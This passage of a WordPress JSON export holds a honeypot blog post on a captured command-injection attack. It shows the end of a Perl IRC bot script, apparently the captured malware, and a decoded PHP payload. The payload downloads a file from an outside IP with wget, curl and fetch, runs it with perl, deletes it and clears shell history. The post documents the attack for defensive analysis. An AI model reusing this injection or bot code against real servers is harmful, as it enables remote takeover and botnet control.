}\r\nsub join {\r\n   return unless $#_ == 0;\r\n   sendraw(\"JOIN $_[0]\");\r\n}\r\nsub p { part(@_); }\r\nsub part {sendraw(\"PART $_[0]\");}\r\nsub nick {\r\n  return unless $#_ == 0;\r\n  sendraw(\"NICK $_[0]\");\r\n}\r\nsub quit {\r\n  sendraw(\"QUIT :$_[0]\");\r\n  exit;\r\n}\r\nsub modo {\r\n   return unless $#_ == 0;\r\n   sendraw(\"MODE $_[0] $_[1]\");\r\n}\r\nsub mode { modo(@_); }\r\n\r\nsub invite {\r\n   return unless $#_ == 1;\r\n   sendraw(\"INVITE $_[1] $_[0]\");\r\n}\r\n\r\nsub topico {\r\n   return unless $#_ == 1;\r\n   sendraw(\"TOPIC $_[0] $_[1]\");\r\n}\r\nsub topic { topico(@_); }\r\n\r\nsub away {\r\n  sendraw(\"AWAY $_[0]\");\r\n}\r\nsub back { away(); }\r\n\r\n}\r\n###################\r\n##### [ EOF ] #####\r\n###################<\/pre>\n","protected":false},"excerpt":{"rendered":"
Date of Detection: 2017.11.20   Source IP Addresses: 27.255.77.103   Attack Raw Pattern: After decoding URL, the pattern is as follows. <? system(“cd \/tmp ; wget http:\/\/175.126.167.52\/apache.txt ; curl -O http:\/\/175.126.167.52\/apache.txt ; fetch http:\/\/175.126.167.52\/apache.txt ; chmod +x apache.txt ; perl apache.txt ; rm -rf apache.txt ; history -c “); ?> Malicious File Path from the Read more about Honeypot Extraction -Command Injection<\/span>[…]<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[10,11,13,8],"class_list":["post-524","post","type-post","status-publish","format-standard","hentry","category-honeypot","tag-ai","tag-artificial-intelligence","tag-exploit","tag-honeypot"],"_links":{"self":[{"href":"https:\/\/www.cloudcoffer.com\/index.php?rest_route=\/wp\/v2\/posts\/524","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.cloudcoffer.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.cloudcoffer.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.cloudcoffer.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.cloudcoffer.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=524"}],"version-history":[{"count":10,"href":"https:\/\/www.cloudcoffer.com\/index.php?rest_route=\/wp\/v2\/posts\/524\/revisions"}],"predecessor-version":[{"id":540,"href":"https:\/\/www.cloudcoffer.com\/index.php?rest_route=\/wp\/v2\/posts\/524\/revisions\/540"}],"wp:attachment":[{"href":"https:\/\/www.cloudcoffer.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=524"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.cloudcoffer.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=524"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.cloudcoffer.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=524"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}